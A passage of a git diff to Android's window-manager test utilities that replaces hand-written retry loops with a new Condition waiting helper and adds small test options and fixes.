@@ -762,10 +850,10 @@
                         new Rect(0, 0, taskWidth, taskHeight)));
     }
 
-    protected void resizeStack(int stackId, int stackLeft, int stackTop, int stackWidth,
-            int stackHeight) {
-        SystemUtil.runWithShellPermissionIdentity(() -> mAtm.resizeStack(stackId,
-                new Rect(stackLeft, stackTop, stackWidth, stackHeight)));
+    protected void resizePinnedStack(
+            int stackId, int stackLeft, int stackTop, int stackWidth, int stackHeight) {
+        SystemUtil.runWithShellPermissionIdentity(() -> mAtm.resizePinnedStack(stackId,
+                new Rect(stackLeft, stackTop, stackWidth, stackHeight), false /* animate */));
     }
 
     protected void pressAppSwitchButtonAndWaitForRecents() {
@@ -833,9 +921,8 @@
         mAmWmState.waitForValidState(activityName);
         mAmWmState.waitForActivityState(activityName, STATE_RESUMED);
         final String activityClassName = getActivityName(activityName);
-        mAmWmState.waitForWithAmState(state ->
-                        activityClassName.equals(state.getFocusedActivity()),
-                "Waiting for activity to be on top");
+        mAmWmState.waitForWithAmState(state -> activityClassName.equals(state.getFocusedActivity()),
+                "activity to be on top");
 
         mAmWmState.assertSanity();
         mAmWmState.assertFocusedActivity(message, activityName);
@@ -1062,7 +1149,7 @@
         public LockScreenSession enterAndConfirmLockCredential() {
             // Ensure focus will switch to default display. Meanwhile we cannot tap on center area,
             // which may tap on input credential area.
-            tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+            tapOnDisplaySync(10, 10, DEFAULT_DISPLAY);
 
             waitForDeviceIdle(3000);
             SystemUtil.runWithShellPermissionIdentity(() ->
@@ -1092,10 +1179,7 @@
                     android.os.Process.myUserHandle().getIdentifier())) {
                 mAmWmState.waitForAodShowing();
             } else {
-                for (int retry = 1; isDisplayOn(DEFAULT_DISPLAY) && retry <= 5; retry++) {
-                    logAlways("***Waiting for display to turn off... retry=" + retry);
-                    SystemClock.sleep(TimeUnit.SECONDS.toMillis(1));
-                }
+                Condition.waitFor("display to turn off", () -> !isDisplayOn(DEFAULT_DISPLAY));
             }
             return this;
         }
@@ -1107,7 +1191,7 @@
 
         LockScreenSession unlockDevice() {
             // Make sure the unlock button event is send to the default display.
-            tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+            tapOnDisplaySync(10, 10, DEFAULT_DISPLAY);
 
             pressUnlockButton();
             return this;
@@ -1203,24 +1287,48 @@
 
         @Override
         public void set(@NonNull Integer value) {
+            set(value, true /* waitDeviceRotation */);
+        }
+
+        /**
+         * Sets the rotation preference.
+         *
+         * @param value The rotation between {@link android.view.Surface#ROTATION_0} ~
+         *              {@link android.view.Surface#ROTATION_270}
+         * @param waitDeviceRotation If {@code true}, it will wait until the display has applied the
+         *                           rotation. Otherwise it only waits for the settings value has
+         *                           been changed.
+         */
+        public void set(@NonNull Integer value, boolean waitDeviceRotation) {
             // When the rotation is locked and the SystemUI receives the rotation becoming 0deg, it
             // will call freezeRotation to WMS, which will cause USER_ROTATION be set to zero again.
             // In order to prevent our test target from being overwritten by SystemUI during
             // rotation test, wait for the USER_ROTATION changed then continue testing.
             final boolean waitSystemUI = value == ROTATION_0 && mPreviousDegree != ROTATION_0;
-            if (waitSystemUI) {
+            final boolean observeRotationSettings = waitSystemUI || !waitDeviceRotation;
+            if (observeRotationSettings) {
                 mRotationObserver.observe();
             }
             mUserRotation.set(value);
             mPreviousDegree = value;
 
             if (waitSystemUI) {
-                waitForRotationNotified();
+                Condition.waitFor(new Condition<>("rotation notified",
+                        // There will receive USER_ROTATION changed twice because when the device
+                        // rotates to 0deg, RotationContextButton will also set ROTATION_0 again.
+                        () -> mRotationObserver.count == 2).setRetryIntervalMs(500));
             }
-            // Wait for settling rotation.
-            mAmWmState.waitForRotation(value);
 
-            if (waitSystemUI) {
+            if (waitDeviceRotation) {
+                // Wait for the display to apply the rotation.
+                mAmWmState.waitForRotation(value);
+            } else {
+                // Wait for the settings have been changed.
+                Condition.waitFor(new Condition<>("rotation setting changed",
+                        () -> mRotationObserver.count > 0).setRetryIntervalMs(100));
+            }
+
+            if (observeRotationSettings) {
                 mRotationObserver.stopObserver();
             }
         }
@@ -1233,19 +1341,6 @@
             super.close();
         }
 
-        private void waitForRotationNotified() {
-            for (int retry = 1; retry <= 5; retry++) {
-                // There will receive USER_ROTATION changed twice because when the device rotates to
-                // 0deg, RotationContextButton will also set ROTATION_0 again.
-                if (mRotationObserver.count == 2) {
-                    return;
-                }
-                logAlways("waitForRotationNotified retry=" + retry);
-                SystemClock.sleep(500);
-            }
-            logE("waitForRotationNotified skip");
-        }
-
         private class SettingsObserver extends ContentObserver {
             int count;
 
@@ -1311,6 +1406,14 @@
         return INVALID_DEVICE_ROTATION;
     }
 
+    /**
+     * Creates a {#link ActivitySessionClient} instance with instrumentation context. It is used
+     * when the caller doen't need try-with-resource.
+     */
+    public static ActivitySessionClient createActivitySessionClient() {
+        return new ActivitySessionClient(getInstrumentation().getContext());
+    }
+
     /** Empties the test journal so the following events won't be mixed-up with previous records. */
     protected void separateTestJournal() {
         TestJournalContainer.start();
@@ -1404,40 +1507,6 @@
                 FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
     }
 
-    /**
-     * Base helper class for retrying validator success.
-     */
-    private abstract static class RetryValidator {
-
-        private static final int RETRY_LIMIT = 5;
-        private static final long RETRY_INTERVAL = TimeUnit.SECONDS.toMillis(1);
-
-        /**
-         * @return Error string if validation is failed, null if everything is fine.
-         **/
-        @Nullable
-        protected abstract String validate();
-
-        /**
-         * Executes {@link #validate()}. Retries {@link #RETRY_LIMIT} times with
-         * {@link #RETRY_INTERVAL} interval.
-         *
-         * @param waitingMessage logging message while waiting validation.
-         */
-        void assertValidator(String waitingMessage) {
-            String resultString = null;
-            for (int retry = 1; retry <= RETRY_LIMIT; retry++) {
-                resultString = validate();
-                if (resultString == null) {
-                    return;
-                }
-                logAlways(waitingMessage + ": " + resultString);
-                SystemClock.sleep(RETRY_INTERVAL);
-            }
-            fail(resultString);
-        }
-    }
-
     static class CountSpec<T> {
         static final int DONT_CARE = Integer.MIN_VALUE;
         static final int EQUALS = 1;
@@ -1458,13 +1527,13 @@
             } else {
                 switch (rule) {
                     case EQUALS:
-                        mMessage = event + " + must equal to " + count;
+                        mMessage = event + " must equal to " + count;
                         break;
                     case GREATER_THAN:
-                        mMessage = event + " + must be greater than " + count;
+                        mMessage = event + " must be greater than " + count;
                         break;
                     case LESS_THAN:
-                        mMessage = event + " + must be less than " + count;
+                        mMessage = event + " must be less than " + count;
                         break;
                     default:
                         mMessage = "Don't care";
@@ -1522,7 +1591,7 @@
 
     static void assertSingleLaunch(ComponentName activityName) {
         assertLifecycleCounts(activityName,
-                "***Waiting for activity create, start, and resume",
+                "activity create, start, and resume",
                 1 /* createCount */, 1 /* startCount */, 1 /* resumeCount */,
                 0 /* pauseCount */, 0 /* stopCount */, 0 /* destroyCount */,
                 CountSpec.DONT_CARE /* configChangeCount */);
@@ -1530,7 +1599,7 @@
 
     static void assertSingleLaunchAndStop(ComponentName activityName) {
         assertLifecycleCounts(activityName,
-                "***Waiting for activity create, start, resume, pause, and stop",
+                "activity create, start, resume, pause, and stop",
                 1 /* createCount */, 1 /* startCount */, 1 /* resumeCount */,
                 1 /* pauseCount */, 1 /* stopCount */, 0 /* destroyCount */,
                 CountSpec.DONT_CARE /* configChangeCount */);
@@ -1538,7 +1607,7 @@
 
     static void assertSingleStartAndStop(ComponentName activityName) {
         assertLifecycleCounts(activityName,
-                "***Waiting for activity start, resume, pause, and stop",
+                "activity start, resume, pause, and stop",
                 0 /* createCount */, 1 /* startCount */, 1 /* resumeCount */,
                 1 /* pauseCount */, 1 /* stopCount */, 0 /* destroyCount */,
                 CountSpec.DONT_CARE /* configChangeCount */);
@@ -1546,7 +1615,7 @@
 
     static void assertSingleStart(ComponentName activityName) {
         assertLifecycleCounts(activityName,
-                "***Waiting for activity start and resume",
+                "activity start and resume",
                 0 /* createCount */, 1 /* startCount */, 1 /* resumeCount */,
                 0 /* pauseCount */, 0 /* stopCount */, 0 /* destroyCount */,
                 CountSpec.DONT_CARE /* configChangeCount */);
@@ -1554,20 +1623,12 @@
 
     /** Assert the activity is either relaunched or received configuration changed. */
     static void assertActivityLifecycle(ComponentName activityName, boolean relaunched) {
-        new RetryValidator() {
-
-            @Nullable
-            @Override
-            protected String validate() {
-                final String failedReason = checkActivityIsRelaunchedOrConfigurationChanged(
+        Condition.<String>waitForResult(activityName + " relaunched", condition -> condition
+                .setResultSupplier(() -> checkActivityIsRelaunchedOrConfigurationChanged(
                         getActivityName(activityName),
-                        TestJournalContainer.get(activityName).callbacks, relaunched);
-                if (failedReason != null) {
-                    return failedReason;
-                }
-                return null;
-            }
-        }.assertValidator("***Waiting for valid lifecycle state");
+                        TestJournalContainer.get(activityName).callbacks, relaunched))
+                .setResultValidator(failedReasons -> failedReasons == null)
+                .setOnFailure(failedReasons -> fail(failedReasons)));
     }
 
     /** Assert the activity is either relaunched or received configuration changed. */
@@ -1604,8 +1665,7 @@
 
     static void assertRelaunchOrConfigChanged(ComponentName activityName, int numRelaunch,
             int numConfigChange) {
-        new ActivityLifecycleCounts(activityName).assertCountWithRetry(
-                "***Waiting for relaunch or config changed",
+        new ActivityLifecycleCounts(activityName).assertCountWithRetry("relaunch or config changed",
                 countSpec(ActivityCallback.ON_DESTROY, CountSpec.EQUALS, numRelaunch),
                 countSpec(ActivityCallback.ON_CREATE, CountSpec.EQUALS, numRelaunch),
                 countSpec(ActivityCallback.ON_CONFIGURATION_CHANGED, CountSpec.EQUALS,
@@ -1613,8 +1673,7 @@
     }
 
     static void assertActivityDestroyed(ComponentName activityName) {
-        new ActivityLifecycleCounts(activityName).assertCountWithRetry(
-                "***Waiting for activity destroyed",
+        new ActivityLifecycleCounts(activityName).assertCountWithRetry("activity destroyed",
                 countSpec(ActivityCallback.ON_DESTROY, CountSpec.EQUALS, 1),
                 countSpec(ActivityCallback.ON_CREATE, CountSpec.EQUALS, 0),
                 countSpec(ActivityCallback.ON_CONFIGURATION_CHANGED, CountSpec.EQUALS, 0));
@@ -1626,16 +1685,11 @@
 
     @Nullable
     SizeInfo getLastReportedSizesForActivity(ComponentName activityName) {
-        for (int retry = 1; retry <= 5; retry++) {
-            final ConfigInfo result = TestJournalContainer.get(activityName).lastConfigInfo;
-            if (result != null && result.sizeInfo != null) {
-                return result.sizeInfo;
-            }
-            logAlways("***Waiting for sizes to be reported... retry=" + retry);
-            SystemClock.sleep(1000);
-        }
-        logE("***Waiting for activity size failed: activityName=" + getActivityName(activityName));
-        return null;
+        return Condition.waitForResult("sizes of " + activityName + " to be reported",
+                condition -> condition.setResultSupplier(() -> {
+                    final ConfigInfo info = TestJournalContainer.get(activityName).lastConfigInfo;
+                    return info != null ? info.sizeInfo : null;
+                }).setResultValidator(sizeInfo -> sizeInfo != null));
     }
 
     /** Check if a device has display cutout. */
@@ -1652,7 +1706,7 @@
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
         mAmWmState.waitForWithAmState(
                 (state) -> !state.containsActivity(BROADCAST_RECEIVER_ACTIVITY),
-                "Waiting for activity to be removed");
+                "activity to be removed");
 
         return displayCutoutPresent;
     }
@@ -1663,37 +1717,26 @@
      */
     @Nullable
     private Boolean getCutoutStateForActivity(ComponentName activityName) {
-        final String logTag = getLogTag(activityName);
-        for (int retry = 1; retry <= 5; retry++) {
-            final Bundle extras = TestJournalContainer.get(activityName).extras;
-            if (extras.containsKey(EXTRA_CUTOUT_EXISTS)) {
-                return extras.getBoolean(EXTRA_CUTOUT_EXISTS);
-            }
-            logAlways("***Waiting for cutout state to be reported... retry=" + retry);
-            SystemClock.sleep(1000);
-        }
-        logE("***Waiting for activity cutout state failed: activityName=" + logTag);
-        return null;
+        return Condition.waitForResult("cutout state to be reported", condition -> condition
+                .setResultSupplier(() -> {
+                    final Bundle extras = TestJournalContainer.get(activityName).extras;
+                    return extras.containsKey(EXTRA_CUTOUT_EXISTS)
+                            ? extras.getBoolean(EXTRA_CUTOUT_EXISTS)
+                            : null;
+                }).setResultValidator(cutoutExists -> cutoutExists != null));
     }
 
     /** Waits for at least one onMultiWindowModeChanged event. */
     ActivityLifecycleCounts waitForOnMultiWindowModeChanged(ComponentName activityName) {
-        int retry = 1;
-        ActivityLifecycleCounts result;
-        do {
-            result = new ActivityLifecycleCounts(activityName);
-            if (result.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED) >= 1) {
-                return result;
-            }
-            logAlways("***waitForOnMultiWindowModeChanged... retry=" + retry);
-            SystemClock.sleep(TimeUnit.SECONDS.toMillis(1));
-        } while (retry++ <= 5);
-        return result;
+        final ActivityLifecycleCounts counts = new ActivityLifecycleCounts(activityName);
+        Condition.waitFor(counts.countWithRetry("waitForOnMultiWindowModeChanged", countSpec(
+                ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED, CountSpec.GREATER_THAN, 0)));
+        return counts;
     }
 
     static class ActivityLifecycleCounts {
-        final int[] mCounts = new int[ActivityCallback.SIZE];
-        final int[] mLastIndexes = new int[ActivityCallback.SIZE];
+        private final int[] mCounts = new int[ActivityCallback.SIZE];
+        private final int[] mLastIndexes = new int[ActivityCallback.SIZE];
         private ComponentName mActivityName;
 
         ActivityLifecycleCounts(ComponentName componentName) {
@@ -1727,20 +1770,30 @@
         }
 
         @SafeVarargs
+        final Condition<String> countWithRetry(String message,
+                CountSpec<ActivityCallback>... countSpecs) {
+            if (mActivityName == null) {
+                throw new IllegalStateException(
+                        "It is meaningless to retry without specified activity");
+            }
+            return new Condition<String>(message)
+                    .setOnRetry(() -> {
+                        Arrays.fill(mCounts, 0);
+                        Arrays.fill(mLastIndexes, 0);
+                        updateCount(TestJournalContainer.get(mActivityName).callbacks);
+                    })
+                    .setResultSupplier(() -> validateCount(countSpecs))
+                    .setResultValidator(failedReasons -> failedReasons == null);
+        }
+
+        @SafeVarargs
         final void assertCountWithRetry(String message, CountSpec<ActivityCallback>... countSpecs) {
             if (mActivityName == null) {
                 throw new IllegalStateException(
                         "It is meaningless to retry without specified activity");
             }
-            new RetryValidator() {
-                @Override
-                protected String validate() {
-                    Arrays.fill(mCounts, 0);
-                    Arrays.fill(mLastIndexes, 0);
-                    updateCount(TestJournalContainer.get(mActivityName).callbacks);
-                    return validateCount(countSpecs);
-                }
-            }.assertValidator(message);
+            Condition.<String>waitForResult(countWithRetry(message, countSpecs)
+                    .setOnFailure(failedReasons -> fail(message + ": " + failedReasons)));
         }
 
         @SafeVarargs
@@ -1752,7 +1805,7 @@
                     if (failedReasons == null) {
                         failedReasons = new ArrayList<>();
                     }
-                    failedReasons.add(spec.mMessage);
+                    failedReasons.add(spec.mMessage + " (got " + realCount + ")");
                 }
             }
             return failedReasons == null ? null : String.join("\n", failedReasons);
@@ -1778,6 +1831,7 @@
         private boolean mNewTask;
         private boolean mMultipleTask;
         private boolean mAllowMultipleInstances = true;
+        private boolean mLaunchTaskBehind;
         private int mDisplayId = INVALID_DISPLAY;
         private int mActivityType = ACTIVITY_TYPE_UNDEFINED;
         // A proxy activity that launches other activities including mTargetActivityName
@@ -1831,6 +1885,11 @@
             return this;
         }
 
+        public LaunchActivityBuilder setLaunchTaskBehind(boolean launchTaskBehind) {
+            mLaunchTaskBehind = launchTaskBehind;
+            return this;
+        }
+
         public LaunchActivityBuilder setReorderToFront(boolean reorderToFront) {
             mReorderToFront = reorderToFront;
             return this;
@@ -1954,13 +2013,13 @@
         /** Launch an activity using instrumentation. */
         private void launchUsingInstrumentation() {
             final Bundle b = new Bundle();
-            b.putBoolean(KEY_USE_INSTRUMENTATION, true);
             b.putBoolean(KEY_LAUNCH_ACTIVITY, true);
             b.putBoolean(KEY_LAUNCH_TO_SIDE, mToSide);
             b.putBoolean(KEY_RANDOM_DATA, mRandomData);
             b.putBoolean(KEY_NEW_TASK, mNewTask);
             b.putBoolean(KEY_MULTIPLE_TASK, mMultipleTask);
             b.putBoolean(KEY_MULTIPLE_INSTANCES, mAllowMultipleInstances);
+            b.putBoolean(KEY_LAUNCH_TASK_BEHIND, mLaunchTaskBehind);
             b.putBoolean(KEY_REORDER_TO_FRONT, mReorderToFront);
             b.putInt(KEY_DISPLAY_ID, mDisplayId);
             b.putInt(KEY_ACTIVITY_TYPE, mActivityType);
@@ -2036,6 +2095,7 @@
             }
 
             if (mLaunchInjector != null) {
+                commandBuilder.append(" --ez " + KEY_FORWARD + " true");
                 mLaunchInjector.setupShellCommand(commandBuilder);
             }
             executeShellCommand(commandBuilder.toString());
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
index 2d524df..21002a4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -62,6 +62,18 @@
     public static void assumeHasColoredBars() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
 
+        assumeHasBars();
+
+        assumeFalse("Automotive navigation bar is opaque",
+                pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
+        assumeTrue("Only highEndGfx devices have colored system bars",
+                ActivityManager.isHighEndGfx());
+    }
+
+    public static void assumeHasBars() {
+        final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+
         assumeFalse("Embedded devices don't have system bars",
                 getInstrumentation().getContext().getPackageManager().hasSystemFeature(
                         PackageManager.FEATURE_EMBEDDED));
@@ -69,12 +81,6 @@
         assumeFalse("No bars on watches and TVs", pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
                 || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
-
-        assumeFalse("Automotive navigation bar is opaque",
-                pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
-
-        assumeTrue("Only highEndGfx devices have colored system bars",
-                ActivityManager.isHighEndGfx());
     }
 
     private static boolean isRunningInVr() {
@@ -99,10 +105,10 @@
     public static boolean isAssumptionViolated(Runnable assumption) {
         try {
             assumption.run();
-            return true;
+            return false;
         } catch (AssumptionViolatedException e) {
             Log.i("BarTestUtils", "Assumption violated", e);
-            return false;
+            return true;
         }
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 468bd30..0493da7 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -16,8 +16,6 @@
 
 package android.server.wm;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
 import android.app.Activity;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -76,12 +74,12 @@
 
     private static final String EXTRA_PREFIX = "s_";
 
+    static final String KEY_FORWARD = EXTRA_PREFIX + "key_forward";
+
     private static final String KEY_CALLBACK_HISTORY = EXTRA_PREFIX + "key_callback_history";
     private static final String KEY_CLIENT_ID = EXTRA_PREFIX + "key_client_id";
     private static final String KEY_COMMAND = EXTRA_PREFIX + "key_command";
     private static final String KEY_CONFIG_INFO = EXTRA_PREFIX + "key_config_info";
-    // TODO(b/112837428): Used for LaunchActivityBuilder#launchUsingShellCommand
-    private static final String KEY_FORWARD = EXTRA_PREFIX + "key_forward";
     private static final String KEY_HOST_ID = EXTRA_PREFIX + "key_host_id";
     private static final String KEY_ORIENTATION = EXTRA_PREFIX + "key_orientation";
     private static final String KEY_REQUEST_TOKEN = EXTRA_PREFIX + "key_request_id";
@@ -122,7 +120,7 @@
         final Bundle sessionInfo = new Bundle(data);
         sessionInfo.remove(KEY_FORWARD);
         for (String key : sessionInfo.keySet()) {
-            if (!key.startsWith(EXTRA_PREFIX)) {
+            if (key != null && !key.startsWith(EXTRA_PREFIX)) {
                 sessionInfo.remove(key);
             }
         }
@@ -371,10 +369,6 @@
         private final ArrayMap<String, ActivitySession> mSessions = new ArrayMap<>();
         private boolean mClosed;
 
-        public ActivitySessionClient() {
-            this(getInstrumentation().getContext());
-        }
-
         public ActivitySessionClient(Context context) {
             mContext = context;
             mClientId = generateId("testcase", this);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/Condition.java b/tests/framework/base/windowmanager/util/src/android/server/wm/Condition.java
new file mode 100644
index 0000000..3680ce3
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/Condition.java
@@ -0,0 +1,215 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.StateLogger.logAlways;
+import static android.server.wm.StateLogger.logE;
+
+import android.os.SystemClock;
+
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+import java.util.function.Consumer;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
+/**
+ * The utility class to wait a condition with customized options.
+ * The default retry policy is 5 times with interval 1 second.
+ *
+ * @param <T> The type of the object to validate.
+ *
+ * <p>Sample:</p>
+ * <pre>
+ * // Simple case.
+ * if (Condition.waitFor("true value", () -> true)) {
+ *     println("Success");
+ * }
+ * // Wait for customized result with customized validation.
+ * String result = Condition.waitForResult(new Condition<String>("string comparison")
+ *         .setResultSupplier(() -> "Result string")
+ *         .setResultValidator(str -> str.equals("Expected string"))
+ *         .setRetryIntervalMs(500)
+ *         .setRetryLimit(3)
+ *         .setOnFailure(str -> println("Failed on " + str)));
+ * </pre>
+ */
+public class Condition<T> {
+    private final String mMessage;
+
+    // TODO(b/112837428): Implement a incremental retry policy to reduce the unnecessary constant
+    // time, currently keep the default as 5*1s because most of the original code uses it, and some
+    // tests might be sensitive to the waiting interval.
+    private long mRetryIntervalMs = TimeUnit.SECONDS.toMillis(1);
+    private int mRetryLimit = 5;
+    private boolean mReturnLastResult;
+
+    /** It decides whether this condition is satisfied. */
+    private BooleanSupplier mSatisfier;
+    /**
+     * It is used when the condition is not a simple boolean expression, such as the caller may want
+     * to get the validated product as the return value.
+     */
+    private Supplier<T> mResultSupplier;
+    /** It validates the result from {@link #mResultSupplier}. */
+    private Predicate<T> mResultValidator;
+    private Consumer<T> mOnFailure;
+    private Runnable mOnRetry;
+    private T mLastResult;
+    private T mValidatedResult;
+
+    /**
+     * When using this constructor, it is expected that the condition will be configured with
+     * {@link #setResultSupplier} and {@link #setResultValidator}.
+     */
+    public Condition(String message) {
+        this(message, null /* satisfier */);
+    }
+
+    /**
+     * Constructs with a simple boolean condition.
+     *
+     * @param message The message to show what is waiting for.
+     * @param satisfier If it returns true, that means the condition is satisfied.
+     */
+    public Condition(String message, BooleanSupplier satisfier) {
+        mMessage = message;
+        mSatisfier = satisfier;
+    }
+
+    /** Set the supplier which provides the result object to validate. */
+    public Condition<T> setResultSupplier(Supplier<T> supplier) {
+        mResultSupplier = supplier;
+        return this;
+    }
+
+    /** Set the validator which tests the object provided by the supplier. */
+    public Condition<T> setResultValidator(Predicate<T> validator) {
+        mResultValidator = validator;
+        return this;
+    }
+
+    /**
+     * If true, when using {@link #waitForResult(Condition)}, the method will return the last result
+     * provided by {@link #mResultSupplier} even it is not valid (by {@link #mResultValidator}).
+     */
+    public Condition<T> setReturnLastResult(boolean returnLastResult) {
+        mReturnLastResult = returnLastResult;
+        return this;
+    }
+
+    /**
+     * Executes the action when the condition does not satisfy within the time limit. The passed
+     * object to the consumer will be the last result from the supplier.
+     */
+    public Condition<T> setOnFailure(Consumer<T> onFailure) {
+        mOnFailure = onFailure;
+        return this;
+    }
+
+    public Condition<T> setOnRetry(Runnable onRetry) {
+        mOnRetry = onRetry;
+        return this;
+    }
+
+    public Condition<T> setRetryIntervalMs(long millis) {
+        mRetryIntervalMs = millis;
+        return this;
+    }
+
+    public Condition<T> setRetryLimit(int limit) {
+        mRetryLimit = limit;
+        return this;
+    }
+
+    /** Build the condition by {@link #mResultSupplier} and {@link #mResultValidator}. */
+    private void prepareSatisfier() {
+        if (mResultSupplier == null || mResultValidator == null) {
+            throw new IllegalArgumentException("No specified condition");
+        }
+
+        mSatisfier = () -> {
+            final T result = mResultSupplier.get();
+            mLastResult = result;
+            if (mResultValidator.test(result)) {
+                mValidatedResult = result;
+                return true;
+            }
+            return false;
+        };
+    }
+
+    /**
+     * @see #waitFor(Condition)
+     * @see #Condition(String, BooleanSupplier)
+     */
+    public static boolean waitFor(String message, BooleanSupplier satisfier) {
+        return waitFor(new Condition<>(message, satisfier));
+    }
+
+    /** @return {@code false} if the condition does not satisfy within the time limit. */
+    public static <T> boolean waitFor(Condition<T> condition) {
+        if (condition.mSatisfier == null) {
+            condition.prepareSatisfier();
+        }
+
+        final long startTime = SystemClock.elapsedRealtime();
+        for (int i = 1; i <= condition.mRetryLimit; i++) {
+            if (condition.mSatisfier.getAsBoolean()) {
+                return true;
+            } else {
+                SystemClock.sleep(condition.mRetryIntervalMs);
+                logAlways("***Waiting for " + condition.mMessage + " ... retry=" + i
+                        + " elapsed=" + (SystemClock.elapsedRealtime() - startTime) + "ms");
+                if (condition.mOnRetry != null && i < condition.mRetryLimit) {
+                    condition.mOnRetry.run();
+                }
+            }
+        }
+        if (condition.mSatisfier.getAsBoolean()) {
+            return true;
+        }
+
+        if (condition.mOnFailure == null) {
+            logE("Condition is not satisfied: " + condition.mMessage);
+        } else {
+            condition.mOnFailure.accept(condition.mLastResult);
+        }
+        return false;
+    }
+
+    /** @see #waitForResult(Condition) */
+    public static <T> T waitForResult(String message, Consumer<Condition<T>> setup) {
+        final Condition<T> condition = new Condition<>(message);
+        setup.accept(condition);
+        return waitForResult(condition);
+    }
+
+    /**
+     * @return {@code null} if the condition does not satisfy within the time limit or the result
+     *         supplier returns {@code null}.
+     */
+    public static <T> T waitForResult(Condition<T> condition) {
+        condition.mLastResult = condition.mValidatedResult = null;
+        condition.prepareSatisfier();
+        waitFor(condition);
+        if (condition.mValidatedResult != null) {
+            return condition.mValidatedResult;
+        }
+        return condition.mReturnLastResult ? condition.mLastResult : null;
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
index b2d92a3..aa3d63f 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
@@ -274,9 +274,9 @@
          * Perform the action which may have thread safety concerns when accessing the fields of
          * {@link TestJournal}.
          */
-        public static void withThreadSafeAccess(Runnable aciton) {
+        public static void withThreadSafeAccess(Runnable action) {
             synchronized (getInstance()) {
-                aciton.run();
+                action.run();
             }
         }
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/UiDeviceUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/UiDeviceUtils.java
index 5da87dd..03fdf04 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/UiDeviceUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/UiDeviceUtils.java
@@ -23,7 +23,7 @@
 import static android.view.KeyEvent.KEYCODE_WAKEUP;
 import static android.view.KeyEvent.KEYCODE_WINDOW;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import android.app.KeyguardManager;
 import android.graphics.Point;
@@ -66,6 +66,10 @@
         getDevice().pressEnter();
     }
 
+    /**
+     * Simulates a pressed event of {@link KeyEvent#KEYCODE_HOME}. Note this will stop app switches
+     * for 5s (see android.permission.STOP_APP_SWITCHES).
+     */
     public static void pressHomeButton() {
         if (DEBUG) Log.d(TAG, "pressHomeButton");
         getDevice().pressHome();
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 0ca2748..bfaeb7a 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -18,6 +18,9 @@
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.ProtoExtractors.extract;
 import static android.server.wm.StateLogger.log;
@@ -117,6 +120,7 @@
     private List<Display> mDisplays = new ArrayList();
     private String mFocusedWindow = null;
     private String mFocusedApp = null;
+    private int mFocusedDisplayId = DEFAULT_DISPLAY;
     private String mInputMethodWindowAppToken = null;
     private Rect mDefaultPinnedStackBounds = new Rect();
     private Rect mPinnedStackMovementBounds = new Rect();
@@ -235,6 +239,7 @@
         mDisplayFrozen = state.displayFrozen;
         mRotation = state.rotation;
         mLastOrientation = state.lastOrientation;
+        mFocusedDisplayId = state.focusedDisplayId;
     }
 
     static String appStateToString(int appState) {
@@ -445,6 +450,10 @@
         return mLastOrientation;
     }
 
+    int getFocusedDisplayId() {
